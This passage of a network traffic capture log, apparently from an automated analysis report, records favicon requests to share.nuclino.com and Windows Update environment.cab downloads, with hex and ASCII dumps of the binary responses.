%*KBT(`/xtx4d>Ot$eB1E!x3CU$>773>?e>4g:Q'@CV yutT-.$j`
2024-10-18 09:19:02 UTC	16384	IN	Data Raw: 25 d3 a9 47 86 13 f2 f1 09 76 65 4a de cb 58 bf be c5 da 1b df 20 f3 50 3d 7e c2 78 34 24 b8 9c e5 cd 2d 3a 37 ee 62 af 5c 43 96 07 d8 5c 89 d5 04 3f 3a 65 3e 2b 09 ae 8b 2c 75 90 3b 57 19 bc fa 35 f2 bb af d2 11 43 7c 7c 9f 75 fb 01 b3 fd 3d 64 3e a1 98 4d f1 c6 61 fb 6b 74 7a 5b d8 6c 03 4c 17 a3 42 e6 03 a5 af 28 a3 47 35 24 a9 49 30 04 cd b1 9a a1 c1 d5 d7 c2 88 52 52 56 43 4e 47 0f 59 1e 7d 4e af bc 87 19 6c 62 37 d7 59 8f af 63 bb 7b 4c 06 8f 99 74 b7 19 1d 8f 99 b8 1e 87 c3 0e dd 03 a1 77 a3 4b be b6 46 b7 db 4d d2 16 3f 85 c9 1c 4e 87 c8 fe 21 72 72 8c 9b 4e b0 dd 0e 7e 3a a4 1a 1f e3 ca 09 a6 b7 8c e9 ae 90 ad 6e 91 6d de a2 1c 8f 08 76 80 7a 30 41 58 ba fa 22 cb b7 5e a7 7f ed 16 d2 cb d0 70 8c 1f 1d 31 1b 1e 53 cc e7 e9 9c 16 73 ae 43 41 44 30 Data Ascii: %GveJX P=~x4$-:7b\C\?:e>+,u;W5C\|\|u=d>Maktz[lLB(G5$I0RRVCNGY}Nlb7Yc{LtwKFM?N!rrN~:nmvz0AX"^p1SsCAD0

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:19:03 UTC	553	OUT	GET /favicon.ico HTTP/1.1 Host: share.nuclino.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:19:03 UTC	1092	IN	HTTP/1.1 200 OK Server: Cowboy Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1729243143&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=4jG1E%2B%2BWEV23dRyolEZNWl5gxsUzY60KH90rbQW6t3w%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1729243143&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=4jG1E%2B%2BWEV23dRyolEZNWl5gxsUzY60KH90rbQW6t3w%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Connection: close Cross-Origin-Opener-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: public, max-age=31536000 Etag: "80dc-I4nvkS3ijIvo0saPPiDYQlDk4h8" Content-Length: 32988 Content-Type: image/x-icon Date: Fri, 18 Oct 2024 09:19:03 GMT Via: 1.1 vegur
2024-10-18 09:19:03 UTC	94	IN	Data Raw: 00 00 01 00 04 00 40 40 00 00 01 00 20 00 28 40 00 00 46 00 00 00 20 20 00 00 01 00 20 00 28 10 00 00 6e 40 00 00 18 18 00 00 01 00 20 00 28 09 00 00 96 50 00 00 10 10 00 00 01 00 20 00 28 04 00 00 be 59 00 00 28 00 00 00 40 00 00 00 80 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 Data Ascii: @@ (@F (n@ (P (Y(@
2024-10-18 09:19:03 UTC	2372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 15 ff ff ff 53 fe fe fe 7e fd fd fd a5 fc fc fc cb fc fc fc df fc fc fc ec fc fc fc f9 fc fc fc f9 fc fc fc ec fc fc fc df fc fc fc cb fd fd fd a5 fe fe fe 7e ff ff ff 53 fe fe fe 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: S~~S
2024-10-18 09:19:03 UTC	3558	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd b1 ff ff ff 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2024-10-18 09:19:03 UTC	4744	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff ff f6 f4 ff ff cc c9 fe ff 82 7a fd ff 63 57 ff ff 65 5a fe ff 6d 62 ff ff 70 67 fd ff 77 6d fb ff 7e 75 fc ff 7f 76 fc ff 7f 76 fc ff 7f 76 fc ff 7f 76 fc ff 7f 76 fc ff 7f 76 fc ff 7e 76 fc ff 7e 76 fc ff 7e 76 fc ff 7e 76 fc ff 7f 76 fc ff 7f 76 fc ff 88 80 ff ff be b9 fd ff fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff f8 f8 ff ff c2 be fd ff 7a 71 fe ff 78 6f fa ff 7d 74 fb ff 76 6b fb ff 6f 65 ff ff 6c 61 ff ff 65 5a ff ff 66 5b ff ff 8d 85 fc ff d7 d3 fe ff fa fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fc d2 00 00 00 00 fe fe fe 15 fc fc fc fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: zcWeZmbpgwm~uvvvvvv~v~v~v~vvvzqxo}tvkoelaeZf[
2024-10-18 09:19:03 UTC	5930	IN	Data Raw: fe ff cb c8 ff ff e0 dc fe ff e3 e3 fe ff dc d9 ff ff c5 c1 fe ff 9d 97 fd ff 72 68 fd ff 64 57 ff ff 68 5e fe ff 84 7c fd ff d8 d4 fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8d 00 00 00 00 00 00 00 00 ff ff ff 33 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fb ff ff da d8 fe ff 91 89 fd ff 6e 62 ff ff 67 5c fe ff 63 57 fe ff 61 58 fc ff 6a 5f fb ff 6d 65 fa ff 6a 5f fb ff 60 56 fa ff 64 58 fd ff 7e 77 fc ff e1 de fe ff fc fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff e4 e2 ff ff 98 92 ff ff 68 5c fd ff 61 56 fd ff 64 Data Ascii: rhdWh^\|3nbg\cWaXj_mej_`VdX~wh\aVd
2024-10-18 09:19:03 UTC	4226	IN	Data Raw: fd fd fd 9a fc fc fc ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd 9b f9 f9 f9 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 88 fd fd fd f4 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f5 fd fd fd 89 fe fe fe 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 21 fd fd fd bf ff ff ff ff ff ff ff Data Ascii: 2!
2024-10-18 09:19:03 UTC	8302	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff fc fc fc ed fb fb fb 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fc fc 70 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 52 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fb fb 51 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 23 ff ff ff f0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: TpnRQ#
2024-10-18 09:19:03 UTC	3762	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:19:04 UTC	352	OUT	GET /favicon.ico HTTP/1.1 Host: share.nuclino.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:19:05 UTC	1092	IN	HTTP/1.1 200 OK Server: Cowboy Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1729243144&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=wz%2F7KPBtYr3Ye4BvN8DOJ%2By69j2lJDIpPB2dAoKS3Qk%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1729243144&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=wz%2F7KPBtYr3Ye4BvN8DOJ%2By69j2lJDIpPB2dAoKS3Qk%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Connection: close Cross-Origin-Opener-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: public, max-age=31536000 Etag: "80dc-I4nvkS3ijIvo0saPPiDYQlDk4h8" Content-Length: 32988 Content-Type: image/x-icon Date: Fri, 18 Oct 2024 09:19:04 GMT Via: 1.1 vegur
2024-10-18 09:19:05 UTC	94	IN	Data Raw: 00 00 01 00 04 00 40 40 00 00 01 00 20 00 28 40 00 00 46 00 00 00 20 20 00 00 01 00 20 00 28 10 00 00 6e 40 00 00 18 18 00 00 01 00 20 00 28 09 00 00 96 50 00 00 10 10 00 00 01 00 20 00 28 04 00 00 be 59 00 00 28 00 00 00 40 00 00 00 80 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 Data Ascii: @@ (@F (n@ (P (Y(@
2024-10-18 09:19:05 UTC	2372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 15 ff ff ff 53 fe fe fe 7e fd fd fd a5 fc fc fc cb fc fc fc df fc fc fc ec fc fc fc f9 fc fc fc f9 fc fc fc ec fc fc fc df fc fc fc cb fd fd fd a5 fe fe fe 7e ff ff ff 53 fe fe fe 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: S~~S
2024-10-18 09:19:05 UTC	3558	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd b1 ff ff ff 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2024-10-18 09:19:05 UTC	4744	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff ff f6 f4 ff ff cc c9 fe ff 82 7a fd ff 63 57 ff ff 65 5a fe ff 6d 62 ff ff 70 67 fd ff 77 6d fb ff 7e 75 fc ff 7f 76 fc ff 7f 76 fc ff 7f 76 fc ff 7f 76 fc ff 7f 76 fc ff 7f 76 fc ff 7e 76 fc ff 7e 76 fc ff 7e 76 fc ff 7e 76 fc ff 7f 76 fc ff 7f 76 fc ff 88 80 ff ff be b9 fd ff fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff f8 f8 ff ff c2 be fd ff 7a 71 fe ff 78 6f fa ff 7d 74 fb ff 76 6b fb ff 6f 65 ff ff 6c 61 ff ff 65 5a ff ff 66 5b ff ff 8d 85 fc ff d7 d3 fe ff fa fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fc d2 00 00 00 00 fe fe fe 15 fc fc fc fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: zcWeZmbpgwm~uvvvvvv~v~v~v~vvvzqxo}tvkoelaeZf[
2024-10-18 09:19:05 UTC	5930	IN	Data Raw: fe ff cb c8 ff ff e0 dc fe ff e3 e3 fe ff dc d9 ff ff c5 c1 fe ff 9d 97 fd ff 72 68 fd ff 64 57 ff ff 68 5e fe ff 84 7c fd ff d8 d4 fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8d 00 00 00 00 00 00 00 00 ff ff ff 33 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fb ff ff da d8 fe ff 91 89 fd ff 6e 62 ff ff 67 5c fe ff 63 57 fe ff 61 58 fc ff 6a 5f fb ff 6d 65 fa ff 6a 5f fb ff 60 56 fa ff 64 58 fd ff 7e 77 fc ff e1 de fe ff fc fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff e4 e2 ff ff 98 92 ff ff 68 5c fd ff 61 56 fd ff 64 Data Ascii: rhdWh^\|3nbg\cWaXj_mej_`VdX~wh\aVd
2024-10-18 09:19:05 UTC	4226	IN	Data Raw: fd fd fd 9a fc fc fc ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd 9b f9 f9 f9 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 88 fd fd fd f4 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f5 fd fd fd 89 fe fe fe 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 21 fd fd fd bf ff ff ff ff ff ff ff Data Ascii: 2!
2024-10-18 09:19:05 UTC	8302	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff fc fc fc ed fb fb fb 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fc fc 70 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 52 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fb fb 51 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 23 ff ff ff f0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: TpnRQ#
2024-10-18 09:19:05 UTC	3762	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:19:06 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cNLWWRnPoHBT+Yw&MD=WE1T4B4a HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-18 09:19:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0e033a20-200b-42fd-9491-16394e36244e MS-RequestId: a7a9d6e0-bc79-4bf6-ada1-d139a7920b52 MS-CV: X/fxVYdOhkK8CuBc.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 18 Oct 2024 09:19:06 GMT Connection: close Content-Length: 24490
2024-10-18 09:19:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-18 09:19:07 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:19:44 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cNLWWRnPoHBT+Yw&MD=WE1T4B4a HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-18 09:19:45 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 61fac77b-1368-45af-b69e-03f282518f2f MS-RequestId: e609d869-f72b-425e-910a-ea995ce622d6 MS-CV: d2M0j43XjE+hk8NA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 18 Oct 2024 09:19:44 GMT Connection: close Content-Length: 30005
2024-10-18 09:19:45 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
